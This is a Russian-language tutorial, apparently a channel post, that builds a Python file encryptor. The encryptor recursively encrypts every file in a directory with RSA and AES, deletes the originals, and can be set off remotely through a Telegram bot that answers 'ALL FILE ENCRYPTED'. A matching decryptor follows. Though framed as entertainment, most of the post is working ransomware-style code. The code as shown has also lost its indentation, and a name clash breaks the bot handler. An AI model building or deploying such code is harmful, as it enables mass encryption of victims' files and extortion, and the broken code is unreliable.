Пишем простого бота для шифрования файлов в нужной нам директории.
Данная статья является больше развлекательной, и не несет сильной информативной нагрузки, однако, кому-то может понадобиться. Мы будем использовать гибридное шифрование с помощью алгоритмов RSA и AES для шифровки и дешифровки данных из указанной директории.
Для начала, нам понадобится сгенерировать ключи. Сейчас применяя алгоритм RSA считается надежным ключ от 2048 бит. Напишем простенький скрипт для генерации и записи ключей:
from Crypto.PublicKey import RSA
key = RSA.generate(2048)
private_key = key.export_key()
file_out = open("private.pem", "wb")
file_out.write(private_key)
print(private_key)
public_key = key.public_key().export_key()
file_out = open("public.pem", "wb")
file_out.write(public_key)
print(public_key)
К слову, использовалась библиотека pycrypto, так что если захотите похимичить – не забудьте установить командой в терминале:
Запускаем выполнение через терминал, и видим подобное:
!!!ВАЖНО!!! Я выложил в открытый доступ свой приватный ключ только потому, что кроме как для написания статьи я его нигде не использую. Следите за сохранностью вашего приватного ключа и помните, что в случае его утери вы не сможете расшифровать свои файлы
Далее пишем сам код шифровальщика:
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os, sys
def crypt(file):
f = open(file, "rb")
data = f.read();
f.close()
file_out = open(str(file) + ".bin", "wb")
recipient_key = RSA.import_key(open("public.pem").read())
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
enc_session_key = cipher_rsa.encrypt(session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
[file_out.write(x) for x in (enc_session_key, cipher_aes.nonce, tag, ciphertext)]
print(file + " Encrypted")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
crypt(path)
else:
walk(path)
walk("../test_for_crypt")
Немного обсудим этот код. Скрипт проходит по указанной папке, и шифрует все файлы, включая также файлы во вложенных директориях с помощью обычного сессионного ключа, который сгенерирован случайно. А затем сессионный ключ шифруется с помощью нашего публичного ключа.
Данный код настолько прост и процедурно написан, что любой, даже начинающий человек, сможет разобраться и понять принцип его работы.
Для пущей эффективности, возможно настроить это все на работу по какому-то триггеру. На комбинацию клавиш, или же через Telegram бота. Сделаем простейший бот на одну команду, даже без try\except конструкции.
Установим PyTelegramBotApi и импортируем его в файл кода:
import telebot
from telebot.types import Message
Далее базово ставим конфигурацию бота, для наглядности вкинем это в тот же файл (однако лучше всегда делать отдельный конфигурационный файл):
TOKEN = "Здесь должен быть токен вашего бота из BotFather"
bot = telebot.TeleBot(TOKEN)
text = "ALL FILE ENCRYPTED"
dir = "Ваша директория"
Оборачиваем функцию crypt и walk в конструкцию message handler, должно получится примерно так:
def crypt(file):
#Наш код
def walk(dir):
#Наш код
@bot.message_handler(func=lambda message: True)
def bot(message: Message):
walk(dir)
bot.reply_to(message, text)
bot.polling()
Данный код будет срабатывать после отправки любого сообщения боту.
Однако, вероятно, вы зададитесь вопросом, как же расшифровать наши данные? Ответом на этот вопрос служит следующий код:
def decrypt(file):
file_in = open(file, "rb")
file_out = open(str(file[:-4]), "wb")
private_key = RSA.import_key(open("private.pem").read())
enc_session_key, nonce, tag, ciphertext = \
[file_in.read(x) for x in (private_key.size_in_bytes(), 16, 16, -1)]
cipher_rsa = PKCS1_OAEP.new(private_key)
session_key = cipher_rsa.decrypt(enc_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
data = cipher_aes.decrypt_and_verify(ciphertext, tag)
file_out.write(data)
print(file + " DECRYPTED")
os.remove(file)
def walk_decrypt(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
decrypt(path)
else:
walk_decrypt(path)
walk_decrypt("../test_for_crypt")
По сути все то же самое, но вместо шифрования - дешифровка.
Это был наш первый небольшой проект на питоне, дальше будет только интереснее. Подписывайтесь на канал, чтобы не пропустить другие, более интересные проекты